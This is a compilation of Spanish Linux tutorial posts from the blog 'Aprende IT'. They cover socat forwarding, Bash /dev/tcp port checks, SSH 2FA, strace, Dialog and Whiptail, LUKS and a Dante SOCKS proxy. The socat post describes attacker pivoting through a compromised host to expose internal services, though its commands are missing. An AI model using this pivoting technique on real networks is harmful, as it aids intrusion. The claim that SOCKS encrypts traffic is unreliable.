En el mundo de la administración de sistemas y la ciberseguridad, conocer herramientas flexibles y potentes es clave. Una de esas herramientas es socat, una utilidad de red que puede parecer sencilla, pero que es extremadamente poderosa tanto para tareas legítimas como para pruebas de penetración. En este artículo, exploraremos cómo usar socat para redirección de puertos HTTP y también cómo puede ser utilizada en movimientos laterales dentro de una red.

¿Qué es socat?

socat (SOcket CAT) es una herramienta de línea de comandos que permite establecer conexiones bidireccionales entre dos flujos de datos. Estos flujos pueden ser sockets TCP, UDP, archivos, terminales, dispositivos serie, y más. Piensa en socat como el «netcat con esteroides».

Redirección de puertos HTTP con socat

Un caso de uso muy común es redirigir tráfico HTTP desde un puerto a otro. Por ejemplo, si tienes un servidor web corriendo en el puerto 8080 y quieres exponerlo en el puerto 80 sin cambiar la configuración del servicio, puedes hacer lo siguiente:

sudo socat TCP-LISTEN:80,fork TCP:127.0.0.1:8080

¿Qué hace este comando?

TCP-LISTEN:80 escucha en el puerto 80.

fork permite manejar múltiples conexiones simultáneamente.

TCP:127.0.0.1:8080 redirige todo el tráfico al puerto 8080 de localhost.

Con esto, cualquier petición a tu servidor en el puerto 80 será reenviada automáticamente al 8080. Es muy útil en entornos donde se quiere evitar modificar la configuración de un servicio que ya está corriendo.

Socat y los movimientos laterales en red

Además de ser útil para redirección de puertos a nivel local, socat también es ampliamente utilizado en movimientos laterales dentro de una red interna comprometida. Esta técnica es habitual en escenarios de post-explotación, cuando un atacante ya ha ganado acceso a una máquina intermedia en la red.

Escenario típico

Imagina que un atacante tiene acceso a una máquina que sí está expuesta a Internet (IP pública), y desde esa máquina puede acceder internamente a otra máquina que no tiene exposición directa externa, pero sí está conectada a la misma red interna.

Esta segunda máquina, por ejemplo, podría tener corriendo un servicio (como SSH, RDP, MySQL, etc.) en un puerto que solo es accesible desde la red interna.

El atacante, desde la máquina comprometida expuesta a Internet, puede usar socat para exponer ese puerto interno al exterior y acceder al servicio como si estuviera en su propia red.

Comando socat para exponer el puerto:

Ejemplo práctico:

Supón que la IP interna del segundo equipo es 192.168.1.20 y tiene SSH en el puerto 22. La máquina intermedia (la comprometida) tiene una IP pública, y quieres acceder a ese SSH desde tu equipo remoto a través de esa IP pública.

Ejecuta en la máquina intermedia:

Con esto:

• El puerto 2222 queda expuesto públicamente.

• Todo lo que llegue a puerto 2222 en la máquina intermedia se redirige al puerto 22 de la IP interna 192.168.1.20.

Desde fuera, el atacante solo necesita hacer:

Y estará accediendo a la máquina que antes solo era accesible desde la red interna.

¿Por qué esto es útil (o peligroso)?

• Permite al atacante pivotar entre máquinas.

• Expone servicios que normalmente estarían aislados de Internet.

• Es una técnica difícil de detectar si no se monitoriza adecuadamente el tráfico saliente/entrante.

La entrada Usando socat para redirección de puertos TCP se publicó primero en Aprende IT.

En este artículo aprenderás cómo usar estas funciones integradas de Bash para verificar puertos TCP y UDP de forma rápida, simple y sin dependencias externas.

¿Qué es /dev/tcp/host/puerto y /dev/udp/host/puerto?

Bash tiene una característica oculta que permite usar redirecciones especiales para crear conexiones de red. Estas rutas (/dev/tcp/ y /dev/udp/) no existen en el sistema de archivos, pero Bash las interpreta internamente para abrir sockets.

echo > /dev/tcp/host/puerto

Esto intenta abrir una conexión TCP al host y puerto especificado.

Verificar un Puerto TCP desde Línea de Comandos

Para probar si un puerto está abierto, simplemente ejecuta:

echo > /dev/tcp/google.com/80 && echo "Puerto abierto" || echo "Puerto cerrado"

¿Qué hace esto?

Si la conexión se abre exitosamente, Bash continúa y muestra «Puerto abierto».

Si falla (por ejemplo, el puerto está cerrado o el host no responde), muestra «Puerto cerrado».

Con timeout

Para evitar que el comando quede colgado si el host no responde, puedes usar timeout:

timeout 3 bash -c "echo > /dev/tcp/google.com/80" && echo "Abierto" || echo "Cerrado o Timeout"

🛈 Requiere Bash con soporte de redirección /dev/tcp. No funciona en shells como sh o dash.

Verificar un Puerto UDP con /dev/udp

El uso para UDP es similar:

echo > /dev/udp/8.8.8.8/53 && echo "Enviado" || echo "Fallo"

Pero hay un detalle importante: UDP no garantiza entrega ni respuesta, por lo que este método no te dice si el puerto está abierto realmente.

¿Cómo recibir respuesta?

Puedes usar un descriptor de archivo para enviar y luego intentar leer:

exec 3<> /dev/udp/8.8.8.8/53
echo -ne '\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' >&3
read -t 2 -u 3 respuesta && echo "Respuesta: $respuesta" || echo "Sin respuesta"

Este ejemplo envía una consulta DNS vacía al puerto 53 y espera una respuesta.

Limitaciones del Método
Característica TCP UDP
Detectar si el puerto está abierto Fiable No confiable
Requiere herramientas externas No No
Recibe respuesta del servicio Sí (si el servicio responde) Solo si esperas una respuesta válida

¿Y si quiero algo más confiable para UDP?

Si necesitas verificar si un puerto UDP está realmente abierto y responde, mejor usa herramientas como:

nc -uzv       # netcat en modo UDP
nmap -sU -p   # escaneo UDP con Nmap

Usar /dev/tcp/ y /dev/udp/ es una excelente forma de comprobar puertos rápidamente sin depender de herramientas externas. Es especialmente útil en entornos minimalistas o scripts automatizados.

Resumen rápido:

✅ TCP: Funciona muy bien para comprobar puertos abiertos.

⚠️ UDP: Puede enviar datagramas, pero no garantiza saber si el puerto está abierto.

🧰 No necesitas instalar nada si tienes Bash.

¿Ya lo has probado en tus scripts? Déjanos tus dudas o comparte cómo lo usas tú.

La entrada Cómo Comprobar Puertos en Linux Usando /dev/tcp y /dev/udp (sin Telnet ni Netcat) se publicó primero en Aprende IT.

Paso 1: Instalar Google Authenticator

Lo primero que necesitas es instalar Google Authenticator en tu servidor. Este programa se integra fácilmente con PAM (Pluggable Authentication Modules) para añadir 2FA a la autenticación SSH.

Abre una terminal y actualiza los paquetes con:

sudo apt update

Luego, instala el paquete necesario:

sudo apt install libpam-google-authenticator

Ahora, es momento de configurar Google Authenticator para el usuario que va a conectarse mediante SSH. Si eres tú, simplemente ejecuta:

google-authenticator

Cuando ejecutes este comando, el sistema te mostrará un código QR en la pantalla. Abre la app de Google Authenticator (o cualquier otra app compatible con TOTP, como Authy o FreeOTP) y escanea el código. Así se vincularán la app y tu servidor. La aplicación generará códigos de seis dígitos que cambiarán cada cierto tiempo y que necesitarás para iniciar sesión.

Durante el proceso de configuración, el programa te hará una serie de preguntas (como si quieres permitir tokens de emergencia o establecer límites de tiempo). Te recomiendo que leas cada opción y elijas la configuración que mejor te convenga.

Paso 2: Configurar PAM para Google Authenticator

Ahora que tienes la app configurada, hay que decirle al sistema que utilice Google Authenticator como parte del proceso de autenticación.

Para ello, edita el archivo de configuración PAM de SSH:

sudo nano /etc/pam.d/sshd

Una vez dentro del archivo, añade esta línea al inicio:

auth required pam_google_authenticator.so

Guarda los cambios (con Ctrl + O y Enter, y luego Ctrl + X para salir del editor).

Paso 3: Configurar OpenSSH para soportar 2FA
El siguiente paso es modificar la configuración del servicio SSH para que soporte el 2FA. Para ello, edita el archivo de configuración de OpenSSH:

sudo nano /etc/ssh/sshd_config

Dentro del archivo, asegúrate de que estas líneas estén configuradas correctamente:

UsePAM yes
ChallengeResponseAuthentication yes

También debes definir el método de autenticación. Vamos a exigir que se use la clave pública junto con el código TOTP, así que añade o modifica esta línea:

AuthenticationMethods publickey,keyboard-interactive

Con esta configuración, SSH pedirá primero la autenticación por clave pública y después el código de Google Authenticator.

Paso 4: Reinicia el servicio SSH

Para aplicar todos los cambios, es necesario reiniciar el servicio SSH:

sudo systemctl restart sshd

Probando la autenticación en dos pasos

Ahora que todo está configurado, es momento de probar si funciona. Cierra la sesión actual y vuelve a conectarte al servidor mediante SSH. Si todo ha ido bien, el sistema te pedirá:

• Tu clave o password para conectar por SSH.
• El código de seis dígitos generado por Google Authenticator.

Si introduces ambos correctamente, tendrás acceso al servidor. ¡Así de fácil!

Consejos adicionales

Copia de seguridad del código QR: Cuando configures Google Authenticator, guarda una copia del código QR o las claves de emergencia. Si pierdes tu teléfono, te será muy útil.
Limita los intentos fallidos: Para mayor seguridad, puedes configurar fail2ban para bloquear direcciones IP después de varios intentos fallidos.
Deshabilita la autenticación por contraseña: Si solo permites la autenticación por clave pública y 2FA, tu servidor será mucho más seguro.

La entrada Cómo proteger tu servidor SSH con Google Authenticator y 2FA se publicó primero en Aprende IT.

1. Instalación de strace

La mayoría de las distribuciones de Linux vienen con strace preinstalado. Si no lo tienes, puedes instalarlo con:

# En Debian/Ubuntu
sudo apt-get install strace
​
# En CentOS/RHEL
sudo yum install strace

2. Ejecutar un programa con strace

Para iniciar un programa y rastrear sus llamadas al sistema, simplemente usa:

strace nombre_programa [argumentos]

Por ejemplo, para rastrear ls:

strace ls

Esto mostrará todas las llamadas al sistema que ls realiza desde que inicia hasta que termina.

3. Adjuntar strace a un proceso en ejecución

Si deseas rastrear un programa que ya está ejecutándose, puedes adjuntar strace a su proceso con el PID:

strace -p PID

Para encontrar el PID, puedes usar el comando ps o pgrep:

ps aux | grep nombre_programa
pgrep nombre_programa

4. Filtrar tipos específicos de llamadas al sistema

strace genera mucha salida, por lo que puede ser útil filtrar solo las llamadas que te interesan. Para ello, puedes especificar tipos de llamadas con el parámetro -e:

• Archivo: Para ver solo las llamadas relacionadas con archivos.

  strace -e trace=open,close,read,write nombre_programa

• Red: Para ver solo las llamadas relacionadas con la red.

  strace -e trace=network nombre_programa

• Errores: Para ver solo las llamadas que resultan en errores.

  strace -e trace=error nombre_programa

5. Identificar y localizar problemas comunes

a. Problemas de permisos

Si una llamada al sistema falla debido a permisos, verás un error EACCES. Esto puede significar que el usuario que ejecuta el programa no tiene acceso a algún archivo o directorio. Busca líneas como estas:

open("/ruta/al/archivo", O_RDONLY) = -1 EACCES (Permission denied)

b. Archivos no encontrados

Si un programa intenta abrir un archivo inexistente, verás un error ENOENT:

open("/ruta/al/archivo", O_RDONLY) = -1 ENOENT (No such file or directory)

Este tipo de error suele indicar rutas de archivo incorrectas o archivos faltantes.

c. Problemas de red

Para rastrear problemas de red, puedes filtrar por llamadas como connect, sendto, recvfrom, etc. Si ves un error ECONNREFUSED, podría indicar que el servidor al que intentas conectarte no está disponible o se está rechazando la conexión.

connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("192.168.1.1")}, 16) = -1 ECONNREFUSED (Connection refused)

d. Fallos de memoria

Errores como ENOMEM pueden indicar que el sistema se está quedando sin memoria para ejecutar el programa.

mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = -1 ENOMEM (Cannot allocate memory)

e. Errores de llamadas al sistema específicas

A veces, verás errores en llamadas específicas como fork o execve. Esto puede deberse a que el programa esté intentando ejecutar otro proceso que no encuentra o no tiene permisos. Para problemas con execve, revisa la existencia y los permisos de ejecución de los binarios.

execve("/bin/ls", ["ls"], [/* 23 vars */]) = -1 ENOENT (No such file or directory)

6. Registrar salida a un archivo

Si necesitas analizar la salida de strace después de la ejecución, redirígela a un archivo con -o:

strace -o salida_strace.log nombre_programa

Luego puedes analizar el archivo con herramientas como grep para buscar errores específicos.

7. Analizar el tiempo de cada llamada

Usa -T para mostrar el tiempo que cada llamada al sistema tarda en completarse, útil para detectar cuellos de botella:

strace -T nombre_programa

8. Resumen de estadísticas

Para obtener un resumen de estadísticas al final de la ejecución, usa -c. Esto muestra cuántas veces se llamó cada función, cuántos errores ocurrieron y el tiempo total.

strace -c nombre_programa

Ejemplo práctico: Diagnosticar problemas de un programa

Supongamos que tienes un programa llamado mi_programa que está experimentando problemas de rendimiento y fallos ocasionales. Podrías:

1. Ejecutar con strace:

   strace -o salida.log mi_programa

2. Revisar el archivo de salida en busca de errores comunes (ENOENT, EACCES, etc.) usando grep:

   grep "ENOENT" salida.log

3. Analizar las llamadas al sistema más lentas para detectar cuellos de botella:

   strace -T -o salida_tiempos.log mi_programa

4. Revisar las estadísticas de llamadas al sistema para ver si alguna se ejecuta inusualmente a menudo o consume demasiado tiempo:

   strace -c mi_programa

Resumen final

strace es una herramienta poderosa que permite ver la interacción de un programa con el sistema operativo en un nivel profundo. Utilizando filtros y analizando cuidadosamente la salida, puedes identificar problemas de permisos, archivos inexistentes, problemas de red y cuellos de botella de rendimiento.

La entrada Guía Básica para Utilizar strace se publicó primero en Aprende IT.

Tanto Dialog como Whiptail son herramientas que permiten crear interfaces gráficas simples y funcionales dentro de un terminal de texto. Estas herramientas son muy útiles para desarrollar menús, cuadros de diálogo, listas de selección, barras de progreso y mucho más. A lo largo de este artículo, te guiaremos a través de los conceptos básicos y ejemplos prácticos de ambas herramientas para que puedas utilizarlas en tus propios scripts.

¿Qué es Dialog?

Dialog es una herramienta de línea de comandos utilizada para generar cuadros de diálogo interactivos en terminales basados en texto. Es ampliamente utilizada en scripts de shell para crear menús interactivos, cuadros de confirmación, formularios, barras de progreso, entre otros.
Dialog permite a los usuarios interactuar con un script a través de una interfaz de usuario basada en texto, lo que es especialmente útil en entornos de servidores donde no se dispone de una interfaz gráfica completa.

Instalación de Dialog

Para instalar Dialog en una distribución basada en Debian o Ubuntu, simplemente ejecuta el siguiente comando:

sudo apt-get update
sudo apt-get install dialog

Para distribuciones basadas en Red Hat como CentOS o Fedora:

sudo yum install dialog

Ejemplos básicos de Dialog

Cuadro de mensaje simple

Este ejemplo muestra un cuadro de mensaje simple que solo tiene un botón «OK»:

#!/bin/bash
dialog --title "Mensaje" --msgbox "Hola, este es un cuadro de mensaje simple." 6 50
Explicación: En este script, --title define el título del cuadro de diálogo, --msgbox es el tipo de diálogo utilizado, "6 50" son las dimensiones del cuadro (6 líneas de alto y 50 caracteres de ancho).

Menú interactivo

El siguiente ejemplo crea un menú donde el usuario puede seleccionar una opción:

#!/bin/bash
opcion=$(dialog --title "Menú Principal" --menu "Selecciona una opción:" 15 50 4
1 "Opción 1"
2 "Opción 2"
3 "Opción 3"
4 "Salir" 3>&1 1>&2 2>&3)

clear

echo "Has seleccionado la opción: $opcion"

Explicación: El menú se muestra con opciones numeradas. 3>&1 1>&2 2>&3 se utiliza para redirigir la selección del usuario de vuelta a la salida estándar.

Lista de selección

En este ejemplo, el usuario puede seleccionar uno o más elementos de una lista:

#!/bin/bash
opciones=$(dialog --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3>&1 1>&2 2>&3)

clear

echo "Paquetes seleccionados: $opciones"

Explicación: –checklist crea una lista de elementos con casillas de verificación, donde off indica que la casilla está desmarcada por defecto.

Barra de progreso

Las barras de progreso son útiles para mostrar el avance de una tarea. Aquí tienes un ejemplo:

#!/bin/bash
{
for ((i = 0 ; i <= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progreso" --gauge "Instalando..." 10 70 0

Explicación: –gauge se utiliza para crear una barra de progreso. El bucle for simula el avance de una tarea, incrementando la barra en un 10% cada segundo.

¿Qué es Whiptail?

Whiptail es una alternativa ligera a Dialog que también permite crear interfaces interactivas basadas en texto en scripts de shell. Aunque Whiptail ofrece un conjunto similar de funciones, es especialmente útil en sistemas donde Dialog no está disponible o donde se prefiere una herramienta más liviana.
Instalación de Whiptail

Para instalar Whiptail en Debian, Ubuntu y sus derivados:

sudo apt-get update
sudo apt-get install whiptail

En distribuciones como CentOS, Red Hat y Fedora:

sudo yum install newt

Ejemplos básicos de Whiptail

Cuadro de mensaje simple

Al igual que con Dialog, puedes crear un cuadro de mensaje simple:

#!/bin/bash

whiptail --title "Mensaje" --msgbox "Este es un mensaje simple usando Whiptail." 8 45

Explicación: Este ejemplo es similar al de Dialog, pero utilizando Whiptail. Las dimensiones del cuadro son ligeramente diferentes.

Menú interactivo

Crear menús interactivos es sencillo con Whiptail:

#!/bin/bash

opcion=$(whiptail --title "Menú Principal" --menu "Elige una opción:" 15 50 4 \
"1" "Opción 1" \
"2" "Opción 2" \
"3" "Opción 3" \
"4" "Salir" 3>&1 1>&2 2>&3)

clear

echo "Has elegido la opción: $opcion"

Explicación: Este script funciona de manera similar al ejemplo de Dialog, permitiendo al usuario seleccionar una opción de un menú.

Lista de selección

Whiptail también permite crear listas de selección con casillas de verificación:

#!/bin/bash

opciones=$(whiptail --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3>&1 1>&2 2>&3)

clear

echo "Paquetes seleccionados: $opciones"

Explicación: En este ejemplo, «ON» indica que la casilla de verificación está marcada por defecto, a diferencia del «off» de Dialog.

Barra de progreso

Finalmente, aquí tienes un ejemplo de una barra de progreso con Whiptail:

#!/bin/bash

{
    for ((i = 0 ; i <= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "Instalando..." 6 50 0

Explicación: Este ejemplo es muy similar al de Dialog, pero usando la sintaxis de Whiptail.

Tanto Dialog como Whiptail son herramientas poderosas y flexibles que permiten a los administradores de sistemas y desarrolladores crear interfaces de usuario interactivas dentro de un terminal. Aunque ambas herramientas son similares en funcionalidad, la elección entre una u otra puede depender de las necesidades específicas del sistema y las preferencias personales.

Dialog es más popular y ampliamente documentado, mientras que Whiptail es una alternativa más ligera que puede ser preferida en sistemas donde la minimización del uso de recursos es crucial.

En este artículo, hemos cubierto los conceptos básicos de Dialog y Whiptail con ejemplos prácticos que te permitirán comenzar a crear tus propios scripts interactivos. Ya sea que necesites un menú simple, un cuadro de mensaje o una barra de progreso, estas herramientas te proporcionarán las funcionalidades necesarias para mejorar la interacción de los usuarios con tus scripts.

Recuerda que la clave para dominar estas herramientas es la práctica. Prueba los ejemplos proporcionados, modifícalos para adaptarlos a tus necesidades, y continúa explorando las múltiples posibilidades que Dialog y Whiptail ofrecen para hacer que tus scripts sean más intuitivos y fáciles de usar.

Video

Script del video

A continuación pongo dos scripts de ejemplo de dos menús interactivos:

Dialog

#!/bin/bash

# Ejemplo de menú usando Dialog
dialog --menu "Seleccione una opción:" 15 50 4 \
1 "Ver información del sistema" \
2 "Mostrar uso del disco" \
3 "Configurar red" \
4 "Salir" 2>seleccion.txt

# Leer la opción seleccionada
opcion=$(cat seleccion.txt)

case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac

El resultado sería:

Whiptail

#!/bin/bash

# Ejemplo de menú usando Whiptail
opcion=$(whiptail --title "Menú Principal" --menu "Seleccione una opción:" 15 50 4 \
"1" "Ver información del sistema" \
"2" "Mostrar uso del disco" \
"3" "Configurar red" \
"4" "Salir" 3>&1 1>&2 2>&3)

# Verificar la opción seleccionada
case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac

Con whiptail el resultado sería este otro:

Como se puede ver, los resultados son muy parecidos.

Referencias y documentación

Para dialog y whiptail podemos encontrar una amplia documentación en https://invisible-island.net/dialog/dialog.html

La entrada Crear Scripts Interactivos en Linux: Usando Dialog o Whiptail se publicó primero en Aprende IT.

Instalación de Herramientas Necesarias

Antes de sumergirnos en el mundo del cifrado con LUKS, es esencial asegurarse de tener las herramientas adecuadas instaladas en tu sistema. Por lo general, la mayoría de las distribuciones de Linux incluyen estas herramientas de cifrado de manera predeterminada, pero siempre es bueno verificarlo.

Puedes instalar las herramientas necesarias utilizando el gestor de paquetes de tu distribución. En distribuciones basadas en Debian, como Ubuntu, puedes ejecutar el siguiente comando en la terminal:

sudo apt install cryptsetup

Si estás utilizando una distribución basada en Red Hat, como Fedora o CentOS, puedes instalar las herramientas de cifrado con el siguiente comando:

sudo dnf install cryptsetup

Una vez que hayas instalado cryptsetup, estarás listo para comenzar a trabajar con LUKS.

Creación de un Volumen LUKS

El primer paso para cifrar una partición o disco en Linux es crear un volumen LUKS. Este volumen actuará como una capa de cifrado que protegerá los datos almacenados en la partición o disco.

Para crear un volumen LUKS, necesitarás especificar la partición o disco que deseas cifrar. Asegúrate de que la partición esté desmontada antes de proceder. Supongamos que queremos cifrar la partición /dev/sdb1. El siguiente comando creará un volumen LUKS en esta partición:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará el proceso de creación del volumen LUKS en la partición especificada. Serás solicitado a confirmar esta acción, ya que el proceso borrará todos los datos existentes en la partición. Después de confirmar, se te pedirá que ingreses una contraseña para desbloquear el volumen LUKS en el futuro. Asegúrate de elegir una contraseña segura y recuérdala bien, ya que la necesitarás cada vez que quieras acceder a los datos cifrados.

Una vez completado el proceso, tendrás un volumen LUKS creado en la partición especificada, listo para ser utilizado.

Apertura y Cierre del Volumen LUKS

Después de crear un volumen LUKS, el siguiente paso es abrirlo para poder acceder a los datos almacenados en él. Para abrir un volumen LUKS, necesitarás especificar la partición que contiene el volumen y asignarle un nombre.

sudo cryptsetup luksOpen /dev/sdb1 mi_particion_cifrada

En este comando, /dev/sdb1 es la partición que contiene el volumen LUKS, y mi_particion_cifrada es el nombre que le estamos asignando al volumen abierto. Una vez que ejecutas este comando, se te pedirá que ingreses la contraseña que especificaste durante la creación del volumen LUKS. Después de ingresar la contraseña correcta, el volumen se abrirá y estará listo para ser utilizado.

Para cerrar el volumen LUKS y bloquear el acceso a los datos cifrados, puedes utilizar el siguiente comando:

sudo cryptsetup luksClose mi_particion_cifrada

Este comando cerrará el volumen LUKS con el nombre especificado (mi_particion_cifrada en este caso), lo que impedirá el acceso a los datos almacenados en él hasta que vuelva a abrirse.

Creación de un Sistema de Archivos en un Volumen LUKS

Una vez que hayas abierto un volumen LUKS, puedes crear un sistema de archivos en él para comenzar a almacenar datos de forma segura. Puedes utilizar cualquier sistema de archivos compatible con Linux, como xfs, xfs o btrfs.

Supongamos que queremos crear un sistema de archivos xfs en el volumen LUKS abierto (mi_particion_cifrada). El siguiente comando creará un sistema de archivos xfs en el volumen:

sudo mkfs.xfs /dev/mapper/mi_particion_cifrada

Este comando formateará el volumen LUKS abierto con un sistema de archivos xfs, lo que te permitirá empezar a almacenar datos en él de manera segura.

Montaje y Desmontaje de un Volumen LUKS

Una vez que hayas creado un sistema de archivos en un volumen LUKS, puedes montarlo en el sistema de archivos para acceder a los datos almacenados en él. Para montar un volumen LUKS, puedes utilizar el siguiente comando:

sudo mount /dev/mapper/mi_particion_cifrada /mnt

En este comando, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el volumen LUKS abierto, y /mnt es el punto de montaje donde se montará el sistema de archivos.

Después de montar el volumen LUKS, puedes acceder a los datos almacenados en él como lo harías con cualquier otro sistema de archivos montado en Linux. Cuando hayas terminado de trabajar con los datos, puedes desmontar el volumen LUKS utilizando el siguiente comando:

sudo umount /mnt

Este comando desmontará el sistema de archivos del volumen LUKS, lo que evitará que accedas a los datos almacenados en él hasta que vuelva a montarse.

Administración de Volumenes LUKS

LUKS proporciona varias herramientas para administrar volumenes, incluida la capacidad de cambiar la contraseña, agregar claves adicionales y realizar copias de seguridad de las cabeceras de los volumenes.

Para cambiar la contraseña de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva contraseña.

Si deseas agregar una clave adicional al volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva clave adicional.

Para realizar una copia de seguridad de la cabecera de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando realizará una copia de seguridad de la cabecera del volumen LUKS en el archivo especificado, lo que te permitirá restaurarla en caso de que se dañe la cabecera del volumen.

Resumen de comandos para crear volumen cifrado con luks

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /ruta_de_montaje

Integración con crypttab y fstab

Una vez que has cifrado una partición o disco utilizando LUKS en Linux, es posible que desees configurar la apertura automática del contenedor LUKS durante el arranque del sistema y montarlo en un punto específico del sistema de archivos. Esto se puede lograr utilizando los archivos de configuración crypttab y fstab.

Configuración de crypttab

El archivo crypttab se utiliza para configurar el mapeo automático de dispositivos cifrados durante el proceso de arranque del sistema. Puedes especificar los dispositivos cifrados y sus correspondientes claves de cifrado en este archivo.

Para configurar un dispositivo cifrado en crypttab, primero necesitas conocer el UUID (Identificador Único Universal) del contenedor LUKS. Puedes encontrar el UUID ejecutando el siguiente comando:

sudo cryptsetup luksUUID /dev/sdb1

Una vez que tengas el UUID del contenedor LUKS, puedes agregar una entrada en el archivo crypttab para configurar el mapeo automático. Por ejemplo, supongamos que el UUID del contenedor LUKS es 12345678-1234-1234-1234-123456789abc. Puedes agregar la siguiente entrada en el archivo crypttab:

mi_particion_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

También puede hacerse así en este caso sin usar el UUID:

mi_particion_cifrada /dev/sdb1 none luks

En esta entrada, mi_particion_cifrada es el nombre que le hemos dado al contenedor LUKS, y UUID=12345678-1234-1234-1234-123456789abc es el UUID del contenedor. La palabra none indica que no se utiliza una clave precompartida y luks especifica que el dispositivo está cifrado con LUKS.

Configuración de fstab

Una vez que has configurado el mapeo automático del dispositivo cifrado en crypttab, puedes configurar el montaje automático del sistema de archivos en fstab. El archivo fstab se utiliza para configurar el montaje automático de sistemas de archivos durante el arranque del sistema.

Para configurar el montaje automático de un sistema de archivos en fstab, primero necesitas conocer el punto de montaje y el tipo de sistema de archivos del contenedor LUKS. Supongamos que el punto de montaje es /mnt/mi_particion y el sistema de archivos es xfs. Puedes agregar una entrada en el archivo fstab de la siguiente manera:

/dev/mapper/mi_particion_cifrada /mnt/mi_particion xfs defaults 0 2

En esta entrada, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el contenedor LUKS abierto, /mnt/mi_particion es el punto de montaje donde se montará el sistema de archivos, xfs es el tipo de sistema de archivos, defaults especifica las opciones de montaje por defecto, y 0 2 especifica las opciones de comprobación del sistema de archivos.

Recomendaciones con crypptab

En el caso de un servidor yo no tendría activo el crypttab, es decir, dejaria la configuración puesta pero comentada, al igual que con el fstab, Haría los montajes de forma manual tras un reinicio. Así evitamos tener que usar ficheros de clave y tener algunos problemas derivados

La entrada Cifrado de Particiones y Discos con LUKS en Linux se publicó primero en Aprende IT.

En la era digital, mantener la privacidad y seguridad en línea es más crucial que nunca. Una de las maneras de proteger tu identidad y datos en la red es a través del uso de un servidor proxy SOCKS. Este tipo de proxy actúa como un intermediario entre tu dispositivo y el internet, ocultando tu dirección IP real y cifrando tu tráfico de internet. En este artículo, te guiaremos paso a paso en cómo configurar tu propio servidor proxy SOCKS en Ubuntu utilizando Dante, un servidor proxy versátil y de alto rendimiento.

Iniciando la instalación de Dante

Antes de sumergirnos en la configuración de Dante, es esencial preparar tu sistema y asegurarte de que está actualizado. Para ello, abre una terminal y ejecuta los siguientes comandos:

sudo apt update
sudo apt install dante-server

Estos comandos actualizarán la lista de paquetes de tu sistema y luego instalarán Dante, respectivamente.

Configuración del archivo danted.conf

Una vez instalado Dante, el siguiente paso es configurar el servidor proxy. Esto se hace editando el archivo de configuración danted.conf ubicado en /etc/danted/. Para ello, usa tu editor de texto preferido. Aquí, utilizaremos vim:

vim /etc/danted.conf

Dentro de este archivo, debes especificar detalles cruciales como las interfaces externa e interna, el método de autenticación y las reglas de acceso. A continuación, te mostramos una configuración ejemplo que puedes ajustar según tus necesidades:

logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# La interfaz externa (puede ser tu dirección IP pública o el nombre de la interfaz)
external: eth0

# La interfaz interna (usualmente la dirección IP de tu servidor o loopback)
internal: 0.0.0.0 port=1080

# Método de autenticación
socksmethod: username

# Reglas de acceso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quién puede utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}

Esta configuración define un servidor SOCKS que escucha en todas las interfaces disponibles (0.0.0.0) en el puerto 1080. Utiliza autenticación por nombre de usuario y permite conexiones desde y hacia cualquier dirección.

Creación de un usuario para el proxy

Para que el proxy sea seguro y no esté abierto al público, es necesario crear un usuario específico para la conexión. Esto se logra con los siguientes comandos:

sudo useradd -r -s /bin/false nombre_usuario
sudo passwd nombre_usuario

Aquí, nombre_usuario es el nombre de usuario que deseas para la conexión al proxy. El comando useradd crea el usuario, y passwd te permite asignarle una contraseña.

Reiniciar y habilitar el servicio Dante

Con el usuario creado y el archivo de configuración ajustado, es momento de reiniciar el servicio Dante y asegurarse de que se ejecute al inicio del sistema:

sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service

Además, es importante asegurarse de que el puerto 1080, que es donde escucha el proxy, esté permitido en el firewall:

sudo ufw allow 1080/tcp

Comprobación de la conexión

Finalmente, para verificar que todo está funcionando correctamente, puedes probar la conexión a través del proxy con el siguiente comando:

curl -v -x socks5://nombre_usuario:contraseña@tu_ip_del_servidor:1080 https://cualesmiip.es/

